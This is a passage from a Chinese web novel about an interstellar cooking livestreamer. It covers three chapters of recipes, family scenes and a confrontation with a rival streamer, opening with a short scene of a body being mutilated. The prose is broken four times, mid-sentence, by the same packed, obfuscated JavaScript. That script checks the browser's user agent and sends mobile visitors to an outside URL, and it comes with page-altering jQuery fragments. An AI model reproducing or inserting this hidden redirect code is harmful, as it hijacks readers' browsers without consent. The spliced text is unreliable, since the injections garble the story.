毕竟，他要留着这个人好好折磨呢。 副官冷眼旁观，没有多说什么，只是一边修星艇，一边悄咪咪地用很小的音量点评司空住的手段，收获了司空住飞过来的一个眼刀之后，他乖乖地闭上了嘴。 良久，等到李的尸体已经看不出曾经是个人，这里撒一点，那里掉两段，司空住终于又恢复了他平日里半死不活的样子。 “还去第十二星系吗？”副官小心翼翼地问。 经过这么一打岔，司空住没了一点好心情，他坐进星艇里， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347274|166959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “发展发展旅游业我看也未尝不可。” 副官：“？” 舰长，你还记得我们本来是要干什么的吗？ 第二星系，段家。 段恙有点怀疑人生，他在第十二星系待了几天，因为每天中午都能吃到宋秋光亲手做的饭菜，所以晚上的直播他并不是特别在意，他认认真真地把观众数来回看了三遍，两万五千二百一十六人。 原来整个宇宙里有这么多人和他一起抢，那他抢不到应该是很正常的吧，段恙如此安慰自己。 直到旁边坐着的段协面前出现了小半份叉烧饭，他终于破防了。 “哥，我们打个商量呗。”段恙说。 段协点了点头，示意他有什么话就快说，嘴和手却一个没停，眼看着本就不多的叉烧饭就要被段协全部吃掉，段恙的心在滴血。 早知道就不告诉段协宋秋光的直播间了，这不完全是给自己创造对手吗？ “不行，我还挺喜欢这个的。”段协想都没想就拒绝了他。 段恙话还没说完，段协已经吃完了。 “这位主播平常什么时候直播来着？”段协本来起身准备走了，又微微侧身问了一句。 “晚上八九点。”段恙从牙缝里挤出了五个字，趁着段协离开，背后又没长眼睛，朝他用力地挥了几个拳头。 宋秋光有时做完饭菜就会出镜，过了一段时间才会继续直播，读读评论，回答一下问题，这时候直播的人数会少一大截，但今天他看还剩下九千多人，不由得怀念起最初，那时候直播间只有零星几个人。 但她也值得被观众们看到，毕竟她的厨艺这么精湛，段恙想，想着想着，他忽然发现了一个之前没注意到的问题，猛地转头看向段协离去的方向。 奇怪，那边不是只放着医疗舱吗？ “段协，你现在感觉怎么样？”医疗机器人尽职尽责地问着。 段协坐在医疗舱里好半晌，才想起了这个医疗机器人的名字，小时候，他和段恙是远近闻名的混世魔王X2，动不动就从三层楼摔下来，被对方做的冷兵器打穿了之类的，因此和面前的医疗机器人没少打交道。 “蓝，我觉得还可以忍受。” 医疗机器人传来的温度让段协放松了一些，还是自己记忆里的感觉，医疗机器人的使用寿命是三十年，在段歆还没有出生的时候，它就在段家工作了，时至今日，早就应该被淘汰处理掉。 他有些记不清，当时是自己还是段恙的眼泪起了作用，才把它留下，这么一看，真是过去了很久。 “你刚刚很快乐，但是现在我检测不到了，”圆滚滚的乳白色机器人问，“为什么呢？” 段协沉默片刻，他有点后悔自己过来了医疗舱，应该抓紧时间多和段恙说说话的。 不过告诉它也没什么关系，除了他以外，还有谁会来到这里，又花费好一段时间，去探听一个过时了几十年的医疗机器人说什么呢？ “刚才我和段恙一起看直播，”段协说，“他好像有点喜欢那个主播，也很喜欢她做的饭菜。” “我也很喜欢，吃起来让我感觉自己活着。” 话开了头，就不难往下说了，从段恙谈到叉烧饭的美味，他干脆把自己从天梯舰队回来的缘由也说了个干净。 “辛苦了。”蓝说。 19. 笋干炒腊肠 自从辞去了两份工作之后，宋秋光就变得神采奕奕。 经过了一段时间的试运营，克里斯汀也认可了她制作的食物，大方地把餐馆空闲的下午时间交给她。 她也没有辜负克里斯汀的信任，把每日收入的六成交给克里斯汀，当作使用现成厨房和材料的租金。 严格意义上来说，之前她在克里斯汀做保洁和会计的时候，在克里斯汀吃住还没什么问题，但现在她的工作差不多是给自己卖命，所以这六成里还包含着她的房租。 她目前仍然居住在克里斯汀的二楼，也许因为这是她来到星际后第一个属于她自己的地方，也许只是因为她手里的两份工作都不太稳定，不足以支持她搬出去。 汪玉早上提了好几样东西过来，店里的人都有份，包括至今仍然没有看见他庐山真面目的潘。 “汪，这是什么？”克里斯汀问，她虽然是一家餐馆的老板，但对厨艺上并不了解。 汪玉耸了耸肩，“我妈妈亲手做的，这个叫笋干，那个叫腊肠。” 克里斯汀得到了回答，但她眼中的疑问更深了，似乎拿不准这两样干巴巴又黑乎乎的东西究竟能不能吃。 “其实我也不知道怎么做，”汪玉说，“我妈妈最近在‘蜘蛛’上看人直播入了迷，这些东西都是她跟着那个主播做出来的。” “我试过了，可以吃的。”看到克里斯汀怀疑的眼神，汪玉连忙补充道。 宋秋光呆呆地愣在原地，手中的笋干和腊肠仿佛跨越了五千年的光阴。 她好像回到小时候，那时姥姥会挑大晴天晒笋干，新鲜的春笋剥掉皮洗干净，削成块，焯水的时候加上盐，出锅之后再用水过几次，之后就这么泡着，一直泡到第二天。 第二天早上再把水分沥干，铺在有一人伸展开两臂那么宽的竹匾上，晒上三两天的，等到笋块被晒掉了色，变得蜡黄萎缩，笋干就晒好了，这样做出来的笋干可以保存很久。 汪玉妈妈做出来的笋干当然和姥姥做的不一样，可是宋秋光莫名地生出了一点安慰，几千年过去了，沧海都变作桑田，可是有些东西，它就是同她记忆里的一样，不曾更改。 腊肠则更巧，笋干的做法颇多，和五花肉一起焖，既被肉滋润，又可以中和五花肉的油腻，和腊肉炒，能更大程度地激发腊肉的咸香，取半只鸡炖汤亦是不错的选择。 但姥姥总是把笋干和腊肠一起炒，因为笋干是自家晒的，腊肠也是自家灌的，放在院里风干，两样加在一起也花不了多少钱。 不过最主要的原因还是她爱吃，从宋秋光的妈妈那里得知她什么时候放假回家，姥姥就会提前一天把笋干泡好，干巴巴的笋干有了水的配合，重新舒展开原本的姿态。 宋秋光没有沉默很久，她把得到的笋干和腊肠很珍惜地抱在怀里。 汪玉凑了过来，“你怎么了？” 她被汪玉吓了一跳，好在怀里的东西一个也没掉，“没什么，我……我会做这些食材。” 克里斯汀的年纪大了，有时候会有点耳背，第十二星系的医疗水平相当堪忧，她没打算把自己的命提前上交给天堂，于是一直拖着没有医治。 但此刻她的耳朵不仅不背，甚至算得上是过于灵敏了，“亲爱的宋，我听到你似乎会做这些食材，是吗？” 宋秋光点头，除了笋干和腊肠之外，汪玉还带来了很多上短下长的黄色南瓜与她觉得很眼熟但叫不出名字的绿叶菜，这些她都会做，至少都吃过。 汪玉和克里斯汀立马结成了统一战线，用满怀期待的眼神看着她。 宋秋光此人吃软不吃硬，被这眼光轻易地拿捏住了，大手一挥，决定中午给大家做笋干炒腊肠当员工餐的添头。 “话说，潘会有意见吗？”宋秋光想到这一点，特地压低了声音问身旁的汪玉。 汪玉笑了笑，仿佛春来江水融，“他能有什么意见，要是你愿意做克里斯汀的厨师，现在进去把潘赶出来都行，他保准跑得比谁都快。” 汪玉的话和之前克里斯汀的态度截然不同，让她有点迷糊，不过也不是重要，她很快把这件事抛之脑后，准备起中午的笋干炒腊肉了。 笋干正经泡起来要花的时间比较久，至少赶不上今天的午餐，但也不是全然没有办法，宋秋光把笋干倒进锅里，加水煮开，捞出来切成一小段一小段。 “积分商城里有西芹吗？”宋秋光问，在笋干炒腊肠里加切碎的西芹是妈妈的习惯，她没忍住，想要把记忆里的习惯继续维持下去。 【暂时没有喔。】 听到系统的答案，说不失望是不可能的，但毕竟系统不是万能的，要求它什么都有是有点过分了，她很快打起精神，回忆起姥姥做的最初一版笋干炒腊肠。 等到笋干被泡发得差不多，她开始把腊肠切片，青椒和小米辣去籽切段，又剥了几瓣蒜，准备工作就做好了。 锅里倒油烧热，她下入切好的腊肠片，煸出油花，慢慢改了颜色，再把蒜末、青椒、小米辣和笋干放进去一起炒。 有了系统赞助的调料大礼包，她现在也算是可以毫无顾忌地使用起生抽和蚝油了。 把所有食材翻炒几下，加一点水焖上一会儿，笋干炒腊肠就出锅了，菜色非常家常，但一等一地下饭。 宋秋光把碟子放在暂时没有客人的桌子上，刚要招呼汪玉和克里斯汀，已经有眼尖的顾客看见了她的动作，“小宋，你今天又做什么好吃的啦？” “什么？”顾客得知了这是员工餐的一部分，立刻悲伤住了，那道菜看起来可比自己面前的饭菜加起来还有食欲得多。 不过话说潘也在克里斯汀干了几十年了，她在克里斯汀也吃了这么多年，按理说早该习惯潘做的饭菜了，难不成她是被小宋养刁了胃口，不会吧，小宋才来几天？ 但是她们吃得好像很香哎？顾客在一旁不住地偷瞄。 汪玉吃宋秋光做的饭吃得多了，加上她吃饭的速度也比常人快，开始见缝插针地点评起来，“这个笋干吸满了腊肠的肉香，特别入味，秋光你做得真的很好吃。” 顾客本来已经接受了命运，眼不见心不烦地吃起饭来，听到汪玉这话，是吃也不是，不吃也不是，最后含泪就着笋干炒腊肠的香气吃完了饭。 饭毕，宋秋光收拾碗筷，汪玉还好，克里斯汀中午正是忙碌的时候，但她年纪毕竟上来了，不再是以前可以等顾客都吃完再吃的时候了，她赶忙继续工作。 好在来克里斯汀吃饭的也都是些老顾客，都很体谅克里斯汀，不会多说什么。 宋秋光上楼，想到段恙又有点发愁，这人走的时候很干脆，毫不拖泥带水，但没过多久就发来一连串的信息，她有自己的事情要做，哪里顾得上时时关注段恙？ 但考虑到那枚很有潜力的晶体和“蜘蛛”上的打赏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356985|166959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与礼物，无论是哪一样的金钱和人情她暂时都还不起，她只好任劳任怨地回复起来。 段恙好像也没有缺席过自己的每一次直播，宋秋光看了一下“蜘蛛”的后台，不仅确认了这一事实，还更加清楚地意识到，她目前的直播收入有百分之七十都来自段恙。 而且照目前看来，她欠下的东西只会越来越多，宋秋光抿了抿嘴，她付出劳动，获得金钱或其他什么作为回报，是天经地义。 但她做的饭菜虽然现在于各星系微有名气，其实一来仰仗着段恙的名气，如果不是他，她的直播间可能根本没有人看，最后连她自己也会失望地关掉直播间。 二来她对自己的厨艺并不是很有信心，真的值得让段恙、安和其余观众为她花这么多钱吗？ 宋秋光倒不是自轻自贱，只是觉得身处星际，终究是如浮萍一样。 段恙之前还在第十二星系的时候，同他相处，宋秋光得打起十二分的精神抵抗那张脸的威力，根本没时间没心情去思考更多，也得亏是他不在了，才能静下心来细细考虑。 无论是把段恙当直播间里的金主，当人傻钱多的食客，还是当成富有得过了头的朋友来相处，似乎都不是她想要的结果，宋秋光一时犯了难。 新鲜的树皮果最近上市，汪玉出去跑了好几家市场都没有买到，今天去了更远的一家市场，可能要到晚上才能回来。 安和其他乘荷鲁斯号来第十二星系的人一样，最初确实是为了一探究竟来到克里斯汀，但很快就沉醉于第十二星系迷人的自然风光中，去了下属的各个星球旅行，根本就不像她想象的那样，把克里斯汀挤得水泄不通。 安给她发来了很多张风景照，照片上她发自内心地笑着，那笑容十分有感染力，看得别人也忍不住跟着笑起来。 “我虽然没有段恙打赏得多，”安压了压自己因风大差点被吹跑的帽子，“但我喜欢你，喜欢你做的饭菜，包括你在厨房忙碌的样子我也很喜欢，所以我愿意为你付出星币。” “这就够了不是吗？”安问。 宋秋光把安的话放在心里盘了好几遍，终于拿准主意，又做了一份笋干炒腊肠，还添了三袋下午要卖的牛奶吐司，想通过先前用过的青鸟信件寄出去。 也不知道星际是怎么个意思，各个星系的居民难以去往不同层级的星系，没有生命的东西却可以穿越无数个光年，到达宇宙的另一边。 之前，汪玉教她用过青鸟信件，就是在菜市场只用花一个星币就可以传递东西的那个鸟形标志，菜市场和克里斯汀同在一个星系的同一个星球上，仅需花费一个星币。 她得到了段恙的准确地址，刚想寄出去，就发现它的要价从一百个星币飙升到了两千个星币。 难不成这个送星际快递的破青鸟，还见人下菜碟呢？ 原本从第十二星系到第二星系的一百个星币已经让她肉痛得不行，这一下子上升到了两千个星币，宋秋光简直痛得无法呼吸。 “费用我来付，”段恙忽然冒出来说了一句，“我家有点偏，一般的东西送不到这边。” 宋秋光一时有点两难，不用她花钱付天价邮费当然很好，但这样一来完全违背了她的本意，她艰难地拒绝了段恙充满诱惑力的提议。 为了不浪费这两千个星币，她又翻箱倒柜地把所有能带上的东西全塞了进去，这邮费打死她也不会付第二回了。 20. 牛奶吐司 给段恙寄去了信件之后，宋秋光又开始准备给其他观众的礼物，“蜘蛛”有非常多的榜单，观众侧有观看时长榜、打赏次数榜、打赏金额榜和礼物贡献榜等等。 她挑选了其中比较主流的几个榜单，记下了这些榜单前十位观众的名字，按照名字挨个去沟通邮寄。 宋秋光知道安去了别的星球旅游，但仍在观看时长榜上高居前三，不由得好奇她是怎么做到的。 大多数观众对于她要寄出回馈礼物的事情都很震惊，好像她是什么新鲜出土的古地球人一样。 宋秋光给寄出名单上的每位观众都准备了广受好评的卤牛肉、鲜肉包和煎饺，为了配得上高昂的邮费，她还和系统磨了半天，把系统偷她进度条的事情一笔勾销，又腆着脸预支了不少积分，才给观众们都带上了系统特供小水果。 翌日。 段恙从醒来之后就每隔五分钟看一眼家中的青鸟标志，迟迟不见它挥动翅膀，令他疑心信件是不是寄错了地方，又去找青鸟的工作人员确认了四五遍才肯罢休。 “你在等什么？”段协揉着肩膀，正好路过段恙的房间，顺嘴问了一句。 段恙一想起他把自己从第十二星系带回来的礼物全拿走这件事，就很难不生气，到现在他也终于长了个心眼。 不过，他看着段协又从医疗室的方向过来，还是忍不住皱了起眉，“你不是普通的外伤加精神力受损吗，怎么又去医疗舱里待这么久？” 段协毫无心理负担地把锅甩给了勤勤恳恳的医疗机器人，“你不想想蓝在家里服役了多少年了，能治好我就不错了。” 段恙一想也对，“那我再添一个新的吧，免得以后你又要用到。” “我最多在家再待上个二十几天，买了浪费。”段协只是摇头，虽说他知道自己的弟弟是星际知名作家，但这知名度里有一大半功劳得分给他那张脸，偏偏本人又对这件事毫不知情。 段恙花起钱来不太客气，但医疗舱可不是靠客气就能买下的，段协心想。 青鸟的标志忽然伸展开翅膀，一大堆东西落在了段恙的矮桌上，段恙还在心里计算买一个医疗舱得写几本书，只见他哥已经默不作声地来到了他矮桌的旁边。 不好，他的笋干炒腊肠、牛奶吐司、煎饺、玉米排骨汤、水果拼盘、红野茶和小半盆的肉坨子！ “原来你在等这个，”段协不动声色地把一袋牛奶吐司揽至身后，又看准了五彩斑斓的水果拼盘，“又是那个女孩送给你的吗？” 段恙眼睁睁地看着他哥拿走了一样又一样东西，几乎挤满了矮桌的礼物一点点地失踪，他连忙勇敢地挡在他哥身前。 “只是回馈粉丝的礼物，我打赏得比较多而已。” 段协知道段恙是想向转移他的注意力，但是看到他在“蜘蛛”打赏的所有金额之后还是嘴角一抽，默默地停止了手中的动作。 难道说他搞错了职业方向，写书这么赚钱的吗？不应该啊，早就没什么人看书了。 不过给这个主播打赏得倒不是很多，段协想了想自己的几个账户，怎么说也从段恙这里吃了人家不少东西，晚上跟着打赏一些好了。 段协不太满意地走了，一直到视野里看不见他的身影，段恙才松了口气，盘算着下次干脆把青鸟的锚点定在自己的储物器里，他就不信段协能拉下脸翻他的储物器。 吃完了一整个金黄蓬松的牛奶吐司，段恙立刻给司空住发去了信息，听说最近跨星系旅游很红火，他应该赚了不少星币，终于不用成日在星海里漂着了。 “给我留一张票，我过些日子再去一次第十二星系。”他发过去，很久都没有动静，看来有星际跃迁资质的旅游团是真的不多。 离宋秋光的直播还有很长的一段时间，段恙闲来无事，喝着红野茶，随手点开“蜘蛛”的直播频道。 段恙看了一眼频道的名字：方姐带你看世界，他对这个名字有点印象，但上次主播好像还不长这样。 方姐就是这个频道的主播方园，频道的主要内容就是看她到处旅游，带观众看一些所谓的“世面”。 有很多观众指责过她侵犯他人肖像权，总是替根本不知道自己入镜的陌生路人假大方。 她既没有赔偿过相关费用，也从来没有道过一次歉，在“蜘蛛”上，算是个不大不小的争议人物。 而这一次，她的对面是宋秋光。 系统的第三个任务有日期限制，宋秋光本来打算多做一些菜色，以量取胜，但是在发现学会一道新菜色之后，进度条竟然直接往前进来五个点，她立刻爱上了学习。 在段恙赠予的晶体和积分商城里挑选了很久，宋秋光决定学做牛奶吐司。 吐司是烘焙里入门级的存在，适合新手，材料她也在市场里都买到了，正好要用到鸡蛋，她还顺便买了巨型鸡蛋和普通鸡蛋回来，打算都用一下，看做出来有什么差别。 克里斯汀下午只有她和汪玉在，她把做好的牛奶吐司整齐地摆放在斥巨资购买的透明柜台里，暖黄的光打下来，显得餐馆温馨极了。 汪玉趁着顾客不多，看也不看她切好给顾客试吃的吐司，而是花钱买了四袋，三袋带回家，拿着一袋躲在餐馆靠里的地方吃。 方园就是这个时候进来的，宋秋光回想起来只觉得自己真是倒霉。 “大家看啊，这就是那个小有名气的主播，”她把镜头对准了宋秋光，“没错没错，西桥推荐的那个。” “运气真是好啊，不像我，我一开始直播的时候，有一个粉丝喜欢我，我都开心得不得了呢，哪比得上人家？” 宋秋光听着觉得刺耳，但她也不能阻止一个顾客进门，只好当作没听见。 方园大约是没料到她毫无反应，眼睛珠子转了转，扒开排在自己前面的顾客，一下子来到宋秋光前面。 她被吓了一跳，往后退差点磕到椅子腿，却听见方园兴奋地大叫，感谢某某某给她打赏了大额礼物，“哈哈哈不要这么说嘛，长成那个样子她自己也不想的啦。” 汪玉难得地放下了手里还没吃完的吐司，走到柜台后面，挡住了宋秋光，她平静地说，“有本事你再多说一句。” 方园比汪玉稍矮一些，看着这张比自己好看而年轻的脸忍不住烧起了嫉妒的火光，但又想到这不过是个下层星系的丫头片子，她又放下了心。 “哎呀，凶什么，我只是来买这个东西的。”方园换上一副楚楚可怜的样子，任谁看都以为她才是那个受欺负的人。 汪玉的手被宋秋光轻轻拉住了，她回头看去，宋秋光朝她摇摇头，示意没关系的。 “什么，就四个星币？”方园把牛奶吐司拿到手，左看右看地挑起毛病来，“卖相太差了吧，味道也好难闻。” 宋秋光自认是个普通人，原本不觉得这种小说里的恶毒路人会真的出现在自己身边，不过怎么说呢？ 在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360551|166959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地球上，她一无父母支持，二在学校待的时间长了，当惯了没人管的笼中鸟，但现在她身处异乡，还这么压抑自己干嘛，实在不行死了就死了呗，反正她已经死过一次了。 方园打开袋子，全方位无死角地向直播间的观众展示牛奶吐司，然而她并没有吃，只是略带嫌弃地把吐司直接放在克里斯汀的餐桌上，然后一个转身，故作不经意地把吐司扫到地上。 “哎呀，我真笨呢。”直播间有观众提醒她，方园才恍然大悟似的看向地上的吐司。 【你跟我说话的时脾气怎么没有这么好？】 宋秋光面无表情，“可能因为我坚守社会主义核心价值观。” 【其实你是不是忘了，我能听见你的心声？那样不行，在哪里都违法哈。】 “哦。”宋秋光倒也没有什么不满，说实话她刚过上两天有钱没闲的好日子，并不是很愿意和这种脸谱化的角色掰扯。 【不过我这里呢，还是有一些神奇小道具的，目前火热打折中，不要九九八，不要九十八，九块八带回家，你值得拥有~】 “你到底在地球上学到了什么？”她简直无力吐槽，系统分外贴心地把积分商城展开在她面前，如它所言，什么“不说真话就会死夹心软糖”、“挠你没商量痒痒粉”和“小嘴巴闭起来大夹子”，一股脑地上了新。 宋秋光大致浏览了一下，道具多种多样，作用五花八门，影响从轻到重，“你确定你给的这些道具就不违法吗？” 【有没有可能我是系统。】 言下之意就是地球和星际的律法都约束不了一个连实体都没有的系统，她只能用不重要的道德做武器来抨击它。 宋秋光选来选去，实在决定不好，干脆一闭眼把选择权交给了自己的手，再一睁眼，她的手指点中了“不说真话就会死夹心软糖”。 与此同时，方园看着“我恨草莓味”超大手笔地打赏了一个又一个礼物，笑得牙不见眼。 “还是当主播好，就算是再粗俗再没礼貌也能被包装成真性情，现在连草莓味都给我打赏了！” “说起来草莓味也是人傻钱多没脑子，这钱拿来干啥不好，打赏我就算了，还打赏那么多别的主播，真是没品位。” 评论区一片哗然，不知道方园怎么突然抽风，变了一副嘴脸，说出来的话配上她那张洋洋得意的脸，越看越让人觉得来气。 段恙听见了，不过他也不在乎。 他按照“蜘蛛”的规则申请了强制性退款，理由填的是侵犯肖像权，方园在直播的时候，把每一位路人的脸都带入了她的直播间，更不必说被她一直对准的宋秋光，也不算是冤枉了她。 段恙的退款金额庞大，申请得也急，“蜘蛛”很快核实处理，除去“蜘蛛”本身扣除的平台费用，其余都退回给了他。 方园刚到手的钱还没捂热，就看见一笔笔退款申请亮起，其中“我恨草莓味”更是直接申请了一百三十万的全额退款，她脑子一热，连着骂了八百句不带重复的脏话。 由于退款申请过多，“蜘蛛”本来就很关注方园的直播间，这下更是有了理由，当即把她的直播间封了一个自然月。 方园骂得倒是爽了，骂完才发现自己的直播间被封。 退款申请也没闲着，一个接一个地亮起，她一抬眼，更是看见小小的一间餐馆里，每个人都离她老远，生怕自己被这种人缠上。 方园眼前一黑。 21. 平桥豆腐 宋秋光冷眼望着方园在店里发疯，她不停地骂着申请退款的观众，骂给她带来霉运的宋秋光，骂过来买牛奶吐司的无辜顾客，嘴里一刻都不肯消停。 汪玉实在看不下去，半强硬地把方园请出了克里斯汀，回来的时候还同宋秋光抱怨，“你看，我都不知道她怎么有这么大的劲。” 汪玉的右手臂本来干干净净，和上好的羊脂白玉没什么区别，此刻却多出了三两条血痕，往外翻着血肉，一看就是被下了狠手抓的。 看到宋秋光皱起眉头，汪玉的心情好了些，她大度地不再计较，“这点小伤，过不了两天就会好的。” 【八个积分不打折哈。】 宋秋光看了眼余额趋近于零的积分账户，想到汪玉受伤完全是因为自己，还是接受了系统的趁火打劫。 经过方园闹的这么一遭，克里斯汀的顾客比平日里少了不少，牛奶吐司也就剩了大半没有卖光，可怜兮兮地躺在柜台里等待着顾客前来选购。 汪玉装出一副根本不痛的样子，挨着她坐下，但不时以极小的幅度偏头看自己的手臂，还兼着呲牙咧嘴两下，完美地暴露了她。 系统放在古装剧里一定是个好刽子手，所有喊着“刀下留人”的救援计划执行者，在系统手里走过一圈，保准就能救下想救的人，宋秋光想。 有水滴落在了她的头发和肩头上，宋秋光微微抬头，克里斯汀虽然有些年头，但也不至于漏水。 可是金色的雨水不讲道理地落下，丝丝细雨打湿了汪玉的伤口，血肉缓慢愈合，直至最后，连一点红痕也没留下。 汪玉对此一无所知，只是看着手臂，不断地怀疑自己的眼睛是不是出了毛病。 “你之前不会是混仙侠剧组的吧？”宋秋光诚心诚意地发了问。 这场来得快去得也快的雨水只有她能看见，她伸手碰到了雨滴，手掌心有接到水滴的触感，但她的衣袖始终是干爽的，一点也没湿。 不过就效果来说，八个星币也着实不亏。 【哼哼哼，现在知道我的厉害了吧。】 “没看出来你还蛮跨界的。”她顺口点评了一句。 牛奶吐司一直到晚上也没有全部卖掉，宋秋光由着汪玉带回去了好几袋，剩下的则自己留着当晚饭吃。 吐司带着淡淡的奶香味，外表看起来再朴素不过，入口却很绵密，像在吃一朵云。 一边吃吐司，一边思考着今晚直播做些什么，宋秋光忽然想起了一道菜，她最好的朋友阿冬是平桥人，平桥是淮城底下的一个小镇，那里盛产豆腐，平桥豆腐因此得名。 而平桥豆腐在淮城也很有些名气，平常席面上少不了这么一道菜。 除了吃席，她记得在阿冬家也吃过一次，阿冬的妈妈手艺很好，她亲自下厨做的平桥豆腐是用鸡汤烧的，现在想起来，那种鲜美的滋味还犹在舌尖。 【什么好东西？我也要吃。】 “吃吃吃，你什么都要吃。”宋秋光有些伤怀，突然被系统一打岔，也找不回原来的心情。 不过看到系统没要她一个积分就变出来四大筐豆腐，且这四个筐子外沿还印着平桥某座豆腐厂的名字和地址，宋秋光立马违心地夸奖起系统，“我怎么会饿着你呢，想吃多少就吃多少，能吃是福嘛。” 平桥豆腐是淮派菜系中的经典菜色，不是普通的豆腐羹、豆腐汤之流。 她起锅烧油，加入切好的葱炸到金黄，然后取筐里的嫩豆腐切成细小的菱形片，这过程略微要些刀功，但要的不多。 再把菱形的豆腐片过热水烫一下，好以此去除豆腥味，宋秋光打眼一瞧，觉得锅里散开的不再是豆腐，而仿佛是一尾尾白色的游鱼。 底汤她用了猪筒骨慢慢熬煮，倒进切成细条的鸡蛋皮、鸡肉和虾米，搅和两下，豆腐片放进锅里小火煨着，时候到了就再勾个芡。 接着淋上一层热猪油封住豆腐的热气，在平桥豆腐这道菜中，猪油是必不可少的，地球上那个年代的人嫌弃猪油太油腻，不健康，但没有猪油的平桥豆腐可不能算是平桥豆腐。 临了撒上一把香菜末就可以出锅了。 宋秋光不是很讲究，就没打算把做好的平桥豆腐盛起来，现有的观众人数不支持她这么做，前两天她还没盛好呢，等不及的观众就已经瓜分完毕了。 评论的速度加快了不少，宋秋光一看，只哭笑不得。 在做菜的时候，她就强调了好几遍，平桥豆腐就主打看起来不烫实际上把人舌头都烫掉这么一个效果，但她的观众还是不太乖。 与此同时，第二星系。 段协有些迟疑，直播间的观众大多也抱着同样的想法。 与以往宋秋光做的菜色不同，平桥豆腐的卖相显得不太出色，雪白的豆腐加上翠绿的香菜，共卧在一碗汤汁中，虽然片片豆腐被精细地切成菱形，但着实称不上好看。 不过人迟疑着，他的手却没停。 段协非常满意地看到自己又抢到了品尝模式的开启权，不像段恙，又没有抢到，只能眼巴巴地在一旁看着他享用平桥豆腐。 “嗯？”豆腐一入口，段协就被一股奇异的味道袭击了，好像有一只虫子没打招呼就钻进了他的口腔，在他的嘴里到处拜访，实在不太礼貌。 考虑到餐桌礼仪，段协勉强忍住了没有吐出来，但是迟迟没有再吃第二口，段恙捕捉到了他的异常，眼冒绿光地凑过来，“哥，你怎么不吃啊？” “难吃。”他好不容易才从喉咙里挤出两个字。 段恙并不嫌弃，从他哥手里端走了酒杯大小的装着平桥豆腐的碗，吃了一口，他就知道段协说的难吃是指什么了，此前宋秋光做的饭菜中没有出现过这样东西。 她正好介绍到这里，这些个漂浮在汤汁里的绿色小叶子叫做芫荽，又名香菜，段恙觉得这个名字和它很相称，芫荽确实有一种淡淡的清香，不过段协好像不这么觉得。 豆腐切得很薄，一口下去，他差点被烫到，抛开这个不谈，平桥豆腐汤汁浓稠，鲜甜味美，喝完他只觉得意犹未尽，还想再来上几碗。 但段协还是那副深受打击的模样，其程度类似于他当年毕业舞会时被所有女生拒绝，还好钟意姐是个体面人，那时候挺身而出答应了他的邀请。 想到钟意，段恙也有挺长一段时间没和她见面了，上次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393819|166959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见到她还是在三年前，也有可能是四年前他哥的授勋仪式上？ 说实话，就连他哥，段恙也见得很少，毕竟大家都很忙，忙着打仗，忙着指挥，忙着制定新政策，只有他忙着享用美食和写书，着实是个例外的富贵闲人。 段恙又看了看，司空住还是没有回消息，他也纳了闷，别的星系也就罢了，第十二星系怎么次次客满，连他都捞不着一张票？ 许是接受到了他的疑惑，司空住恰好此时回了句，“你自己心里就没点数吗？我在星海里都快忙成狗了。” 段恙：“？” 他默默地打开星网，轮番搜索起自己的笔名和真名，一通忙活下来，终于发现一个他不愿意的事实，那就是让他去不成第十二星系的罪魁祸首，竟然是他自己。 早知道他就不写书了，段恙想。 一直以来负责他的编辑发来了消息，他点开一看，“恭喜你啊，段老师，《远星小食》今天进入了星际畅销榜的前二十，我想到成绩会很好，但没料到这么受读者欢迎。” 段恙深切地意识到了什么叫做搬起石头砸自己的脚。 “好吃吗？”宋秋光问，系统的情商提高了些许，终于没在直播间的三万多观众面前表演豆腐消失术，而是悄悄地转移走一碟分量的平桥豆腐。 由于她对系统的期望值很低，此刻竟然觉得有点欣慰。 【还行，不过我更想吃辣的。】 宋秋光：“？” 她等了半天没等来夸奖，只等到系统没头没尾的这么一句。 宋秋光反思了一下，由于她出生在淮城，家里口味清淡，大学也是在离淮城不远的梧城读的，深究起来，酸甜苦辣咸这无味，她都不怎么接触。 “做不了，另请高明吧您。” 宋秋光反思到一半，又觉得系统只是在蹬鼻子上脸。 